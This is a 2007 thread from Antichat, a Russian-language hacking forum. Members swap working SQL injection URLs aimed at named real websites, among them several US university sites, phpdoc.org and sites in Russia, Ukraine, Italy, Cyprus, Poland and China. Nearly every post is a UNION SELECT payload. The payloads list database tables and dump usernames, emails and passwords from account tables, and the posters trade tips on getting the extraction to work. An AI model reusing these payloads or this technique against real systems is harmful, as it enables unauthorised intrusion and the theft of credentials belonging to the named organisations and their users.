ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
27.02.2007, 17:59
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520
Репутация:
2996
|
|
1) смотрим таблицы
Код:
http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,table_name,3,4,5,6+from+INFORMATION_SCHEMA.TABLES/*
2)Смотрим кол-во в нужных таблицах.
Код:
http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,count(*),3,4,5,6+from+enroll_accounts/*
Код:
http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,count(*),3,4,5,6+from+accounts/*
Код:
http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,count(*),3,4,5,6+from+user/*
3)Выводим данные.
Код:
http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,concat(username,char(58),password),3,4,5,6+from+accounts/*
что тебя заинтересует я не знаю дальшейших методов взлома много дальше разбирайся сам.
in sql i trust ))) |
|
|
27.02.2007, 18:13
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
Дык я это знаю, не совсем уж ламер =) Просто count(*) from users выводит ошибку, а должна выводится по идее пустая страница
http://cat.xula.edu/courses/index.php?mode=view&id=-15+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5
|
|
|
|
27.02.2007, 20:17
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
http://law.richmond.edu/essaycontests/view.php?record=-12+union+select+1,2,version(),4,5,6,7,8,9,10,11,12
=\
|
|
|
|
27.02.2007, 21:36
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503
Репутация:
5826
|
|
__http://baby.com.ua/hit/school/obj_view_otziv.php3?p=view&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21/*
|
|
|
|
27.02.2007, 22:07
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346
Репутация:
1719
|
|
надо внести свой вклад 
http://www.a1tv.ru/AOpenBands.php?Band=-1+union+select+1,2,version(),4,user()/* |
|
|
|
27.02.2007, 22:16
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
Провел на форуме:
4908597
Репутация:
1866
|
|
Сообщение от n1†R0x
надо внести свой вклад
http://www.a1tv.ru/AOpenBands.php?Band=-1+union+select+1,2,version(),4,user()/* байан нитрокс 
|
|
|
|
27.02.2007, 22:19
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346
Репутация:
1719
|
|
Сообщение от ice1k
байан нитрокс "за что ни возьмешься"... я ее сам нашел, честно
ладно, будем копать дальше.. странно, я сёарчем не нашел этот урл(
sorry 4 offtop =\
|
|
|
|
27.02.2007, 22:44
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503
Репутация:
5826
|
|
__http://obec.org.ru/author.php?sort=CommentsThread&sort_type=ASC&pos=0 &Id=-1+union+select+1,user(),3,4,5,6,7,8/*
|
|
|
|
27.02.2007, 22:55
|
|
Познающий
Регистрация: 31.01.2007
Сообщений: 88
Провел на форуме:
631013
Репутация:
453
|
|
http://www.aiap.it/news.php?ID=-843%20union%20select%201,2,3,4,5,6,7,8/*
http://www.opel.com.cy/news.php?id=1000000000006%20UNION%20SELECT%200,1,2 ,3,4,5,6,7%20from%20users/*
http://www.pzps.pl/news.php?id=290000000000009%20UNION%20SELECT%200,1 ,2,3,4,table_name,6,7,8%20from%20INFORMATION_SCHEM A.TABLES/*
http://www.phpdoc.org/news.php?id=-51%20UNION%20SELECT%200,id,concat(name,char(58),em ail,char(58),password),3,4%20from%20users/*
И вот этот сайт меня зарадовал:
http://www.troagri.com.cn/news.php?id=-8%20UNION%20SELECT%200,1,2,concat(username,char(58 ),email,char(58),password),4,5,6,7,8%20from%20user/*
|
|
|
|
28.02.2007, 01:17
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
2 _Pantera_
не правда. иногда используя INFORMATION_SCHEMA выводится только одна таблица и тогда надо использовать LIMIT
Но здесь почему то не работает
http://www.solyaris.ru/rinok_hi-fi/statyi_testi_obzory/?part=1+union+select+1,2,3,table_name,5,6,7,8,9,10 ,11,12,13,14,15+from+INFORMATION_SCHEMA.TABLES+lim it+1,1/*
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
